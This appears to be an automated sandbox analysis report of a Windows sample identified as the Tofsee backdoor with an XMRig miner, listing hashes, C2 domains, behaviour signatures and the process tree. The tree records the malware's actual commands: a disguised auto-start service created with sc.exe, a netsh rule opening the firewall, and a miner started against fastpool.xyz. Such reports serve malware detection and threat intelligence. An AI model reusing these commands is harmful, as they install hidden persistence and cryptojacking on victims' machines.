Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-04-2023 06:32

General

  • Target

    file.exe

  • Size

    347KB

  • MD5

    0c1708ed3939df691fcc921eeca929e8

  • SHA1

    1423af702026959fb660354fdab5252f7342b763

  • SHA256

    a71e5f2db834e7eb59cb1089a56dbd3e0b3dfcfc605efb9a8a42b17d3f19445c

  • SHA512

    502ee675cb930d2f12e7c7f012296831fcefef2c27983dcc9f15d0f41616cbf9857f5bc63d22849d419ac7d4ca80cc6aa9809c1ba4c6343a4b45ddc935e0784c

  • SSDEEP

    6144:ieI4cg3BjROHIH8SOm28gIk1nvPCX6tbe4:iercM3OHIH8zmwIk1vPQ6tq4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4892
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eftwmbiy\
      2⤵
        PID:2016
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rpzacybh.exe" C:\Windows\SysWOW64\eftwmbiy\
        2⤵
          PID:2436
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eftwmbiy binPath= "C:\Windows\SysWOW64\eftwmbiy\rpzacybh.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eftwmbiy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2148
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eftwmbiy
          2⤵
          • Launches sc.exe
          PID:2788
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2844
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 1188
          2⤵
          • Program crash
          PID:792
      • C:\Windows\SysWOW64\eftwmbiy\rpzacybh.exe
        C:\Windows\SysWOW64\eftwmbiy\rpzacybh.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1068
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4552
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 516
          2⤵
          • Program crash
          PID:4476
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4892 -ip 4892
        1⤵
          PID:4772
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1008 -ip 1008
          1⤵
            PID:2600

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\rpzacybh.exe

            Filesize

            10.3MB

            MD5

            fc45f87d7d085d282f36ef5ad48bd802

            SHA1

            c7d24d02b750957a027c87e1884dac17c17da194

            SHA256

            10da915d3c7ac5bb824c6536e20e2dcc67dc515e7e7617fa0f33ee616a583ecd

            SHA512

            dca72edd32c0405e8fd08e2ccfb4dd91d5a41167b70e5a39e875a8b3eb1850c286901bfe337c9e425526330d170994bc2f0e9ec62a3a1d42965fec19c4c26999

          • C:\Windows\SysWOW64\eftwmbiy\rpzacybh.exe

            Filesize

            10.3MB

            MD5

            fc45f87d7d085d282f36ef5ad48bd802

            SHA1

            c7d24d02b750957a027c87e1884dac17c17da194

            SHA256

            10da915d3c7ac5bb824c6536e20e2dcc67dc515e7e7617fa0f33ee616a583ecd

            SHA512

            dca72edd32c0405e8fd08e2ccfb4dd91d5a41167b70e5a39e875a8b3eb1850c286901bfe337c9e425526330d170994bc2f0e9ec62a3a1d42965fec19c4c26999

          • memory/1008-145-0x0000000000400000-0x00000000007FC000-memory.dmp

            Filesize

            4.0MB

          • memory/1068-167-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-149-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/1068-143-0x0000000000500000-0x0000000000515000-memory.dmp

            Filesize

            84KB

          • memory/1068-169-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-184-0x00000000019F0000-0x00000000019F7000-memory.dmp

            Filesize

            28KB

          • memory/1068-171-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-148-0x0000000000500000-0x0000000000515000-memory.dmp

            Filesize

            84KB

          • memory/1068-170-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-152-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/1068-153-0x0000000000FA0000-0x0000000000FA6000-memory.dmp

            Filesize

            24KB

          • memory/1068-156-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-159-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-160-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-162-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-161-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-163-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-164-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-165-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-166-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-183-0x0000000007100000-0x000000000750B000-memory.dmp

            Filesize

            4.0MB

          • memory/1068-144-0x0000000000500000-0x0000000000515000-memory.dmp

            Filesize

            84KB

          • memory/1068-140-0x0000000000500000-0x0000000000515000-memory.dmp

            Filesize

            84KB

          • memory/1068-146-0x0000000000500000-0x0000000000515000-memory.dmp

            Filesize

            84KB

          • memory/1068-168-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-172-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-173-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-174-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-175-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

            Filesize

            64KB

          • memory/1068-176-0x00000000019E0000-0x00000000019E5000-memory.dmp

            Filesize

            20KB

          • memory/1068-179-0x00000000019E0000-0x00000000019E5000-memory.dmp

            Filesize

            20KB

          • memory/1068-180-0x0000000007100000-0x000000000750B000-memory.dmp

            Filesize

            4.0MB

          • memory/4552-188-0x0000000000D70000-0x0000000000E61000-memory.dmp

            Filesize

            964KB

          • memory/4552-193-0x0000000000D70000-0x0000000000E61000-memory.dmp

            Filesize

            964KB

          • memory/4552-194-0x0000000000D70000-0x0000000000E61000-memory.dmp

            Filesize

            964KB

          • memory/4552-195-0x0000000000D70000-0x0000000000E61000-memory.dmp

            Filesize

            964KB

          • memory/4552-196-0x0000000000D70000-0x0000000000E61000-memory.dmp

            Filesize

            964KB

          • memory/4552-197-0x0000000000D70000-0x0000000000E61000-memory.dmp

            Filesize

            964KB

          • memory/4552-198-0x0000000000D70000-0x0000000000E61000-memory.dmp

            Filesize

            964KB

          • memory/4552-199-0x0000000000D70000-0x0000000000E61000-memory.dmp

            Filesize

            964KB

          • memory/4892-134-0x0000000000800000-0x0000000000813000-memory.dmp

            Filesize

            76KB

          • memory/4892-138-0x0000000000400000-0x00000000007FC000-memory.dmp

            Filesize

            4.0MB